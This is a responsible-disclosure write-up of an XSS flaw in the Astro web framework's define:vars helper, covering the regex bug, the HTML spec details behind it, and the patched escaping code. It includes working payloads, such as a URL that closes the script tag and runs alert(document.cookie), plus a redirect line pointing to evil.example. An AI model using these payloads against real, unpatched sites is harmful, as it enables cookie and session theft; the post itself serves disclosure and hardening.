Your Regex Won't Save You: XSS in 58k-Star Astro's define:vars
TL;DR — Astro's defineScriptVars sanitizes user input injected into inline <script> blocks using a case-sensitive regex /<\/script>/g. HTML parsers are case-insensitive and accept whitespace or / before the closing >. Payloads like </Script>, </script >, or </script/> bypass the filter entirely. Any SSR Astro page passing request-derived data to define:vars is vulnerable to reflected or stored XSS. Patched in 6.1.6. Assigned CVE-2026-41067, CVSS 6.1.
background
Astro is a modern web framework for content-driven websites. 58,000+ GitHub stars, one of the most popular frameworks in the current generation of JS tooling. It backs the Cloudflare docs, Netlify docs, and a long list of marketing and documentation sites you've probably clicked through this month. Its pitch is "ship zero JS by default" with opt-in islands of interactivity — which means a lot of the time you're writing plain HTML with small slivers of JavaScript sprinkled in.
One of those slivers is define:vars — a directive that lets you pass variables from the server into a client-side <script> block:
---
const userName = Astro.url.searchParams.get('name') ?? 'stranger';
---
<script define:vars={{ userName }}>
console.log(`hello, ${userName}`);
</script>
Astro serializes userName at render time and prepends const userName = ... to the inline script body. This is an extremely common pattern in SSR Astro apps — hydration state, feature flags, per-request data, anything you want the browser to see.
Anywhere user input can flow into that variable, the sanitization had better be airtight.
the target
- Package:
astroon npm - Vulnerable range:
<= 6.1.1 - Patched in:
6.1.6 - Mode: SSR only (
output: 'server'inastro.config.mjs) - Precondition: request-derived data reaches a
define:varsbinding on a<script>tag
The last point is important. The bug doesn't trigger on statically rendered pages and doesn't trigger if you only put trusted constants into define:vars. It triggers specifically when a query string, cookie, form body, or anything else an attacker can influence ends up bound to a define:vars key. That said — it's a documented, expected usage pattern, and the framework doesn't warn against it.
the interesting part
Here's the sanitization function, at packages/astro/src/runtime/server/render/util.ts:42-53:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/<\/script>/g,
'\\x3C/script>',
)};\n`;
}
return markHTMLString(output);
}
Twelve lines, and the critical one is /<\/script>/g.
The intent is correct. JSON.stringify doesn't escape < or /, so if someone passes </script> as a string value it'd land verbatim inside the inline script and close it early. The regex replaces any literal </script> with \x3C/script> — a hex-escaped < that JavaScript reads back as the same string but the HTML tokenizer never recognizes as a closing tag.
The problem: that regex matches </script> exactly. Case-sensitive, no trailing whitespace, no self-closing slash. The HTML spec allows far more.
the spec is weirder than you remember
Per the HTML Living Standard §13.2.6.4, end-tag tokenization runs through a small state machine. From the "tag name" state, the tokenizer can leave via:
- ASCII whitespace (
\t,\n,\f,) — enters the "before attribute name" state. End tags can even have attributes syntactically; the parser discards them but still accepts the>. - Solidus (
/) — enters the "self-closing start tag" state. On closing tags this is ignored, but the>still closes the element. - Greater-than (
>) — emits the tag.
Tag names are compared ASCII case-insensitively to the element's name. <Script> and <SCRIPT> are the same tag.
Combine all of that and Astro's regex misses three classes of valid closing tags:
- Case variations:
</Script>,</SCRIPT>,</sCrIpT> - Whitespace before
>:</script >,</script\t>,</script\n> - Self-closing slash:
</script/>,</script />
JSON.stringify doesn't escape <, >, /, or whitespace characters, so all three forms pass through serialization unchanged and land inside the inline script. The browser's parser matches them — Astro's regex doesn't.
proof of concept
A minimal SSR Astro page at src/pages/index.astro:
---
const name = Astro.url.searchParams.get('name') ?? 'World';
---
<html>
<body>
<h1>Hello</h1>
<script define:vars={{ name }}>
console.log(name);
</script>
</body>
</html>
SSR enabled in astro.config.mjs:
export default defineConfig({
output: 'server',
});
Start the dev server and visit:
http://localhost:4321/?name=</Script><img src=x onerror=alert(document.cookie)>
View source:
<script>const name = "</Script><img src=x onerror=alert(document.cookie)>";
console.log(name);
</script>
The regex didn't match </Script> — capital S. JSON.stringify left the < untouched. The payload landed inside the script verbatim. The browser's HTML parser reads </Script> case-insensitively, closes the script element there, and parses the rest as HTML. The <img onerror> fires, alert(document.cookie) runs.
All three bypass classes work:
/?name=</Script><img src=x onerror=alert(1)> # case
/?name=</script ><img src=x onerror=alert(1)> # whitespace
/?name=</script/><img src=x onerror=alert(1)> # self-closing
what this means
An SSR Astro application is affected if both:
output: 'server'(or hybrid with dynamic routes that use SSR), and- user-controlled input reaches a
define:varsbinding on a<script>element.
Practical impact is full XSS in the victim's browser session on the origin of the vulnerable page:
| Capability | Notes |
|---|---|
| Cookie theft | document.cookie if session cookies are not HttpOnly |
| Session hijacking | When session tokens live in JS-readable cookies or localStorage |
| Credential theft | Injected login forms, keyloggers, phishing overlays |
| Defacement | Arbitrary DOM manipulation |
| Redirection | location = 'https://evil.example' |
The CVSS vector is AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N — 6.1 Medium. UI:R because the victim has to load the crafted URL; scope-changed because code runs in the victim's browser on the vulnerable origin. No auth required.
Not CVSS 10 — this is not unauth RCE. But it's the kind of XSS that slips through code review precisely because the sanitization looks correct. "We replace </script> with an escape, so we're safe" is the wrong mental model.
hardening
The fix landed in Astro 6.1.6. The correct pattern — used by Next.js, Rails, and Express' various JSON-in-script helpers — is to escape every < in the serialized JSON, not just the literal </script> form:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/</g,
'\\u003c',
)};\n`;
}
return markHTMLString(output);
}
\u003c is a JSON-string-literal escape for <. JavaScript evaluates it back to < at runtime, so the variable's string value is unchanged. But the raw HTML the browser's tokenizer sees never contains a < character inside the script body, so there's no way to close the element early — no matter what case, whitespace, or slash the attacker tries.
This is the right fix for any "I need to safely embed JSON inside an inline <script>" scenario. Characters worth escaping are at minimum <, >, &, \u2028, and \u2029. < alone stops closing-tag injection; the others prevent <!-- comment-state surprises and line-separator issues inside JSON strings.
The broader lesson: if you're sanitizing for an HTML context, match the HTML tokenizer's behavior, not a simplified mental model of it. The spec has states, transitions, and case-folding rules — a single regex rarely covers them. Either escape the dangerous character class completely, or defer to a serializer that was written against the spec.
conclusion
defineScriptVars was twelve lines. The bug was one regex. The underlying mistake was assuming the string an author would write as </script> is the same string the parser will accept. It isn't.
Most framework bugs in this class fall into the same trap: sanitization written against a fictional, well-behaved input surface, rather than the one the standard actually defines. The instinct worth cultivating when reviewing HTML-context sanitization is escape the dangerous character class completely, not a specific token. <, not </script>. Then there's no tokenizer state machine to out-smart you.
Astro shipped 6.1.6 with the fix. If you're running any version <= 6.1.1 in SSR mode with user input flowing into define:vars, upgrade.
This research was conducted for educational and responsible disclosure purposes. Reported to Astro on 2026-03-28, coordinated disclosure and publication 2026-04-20.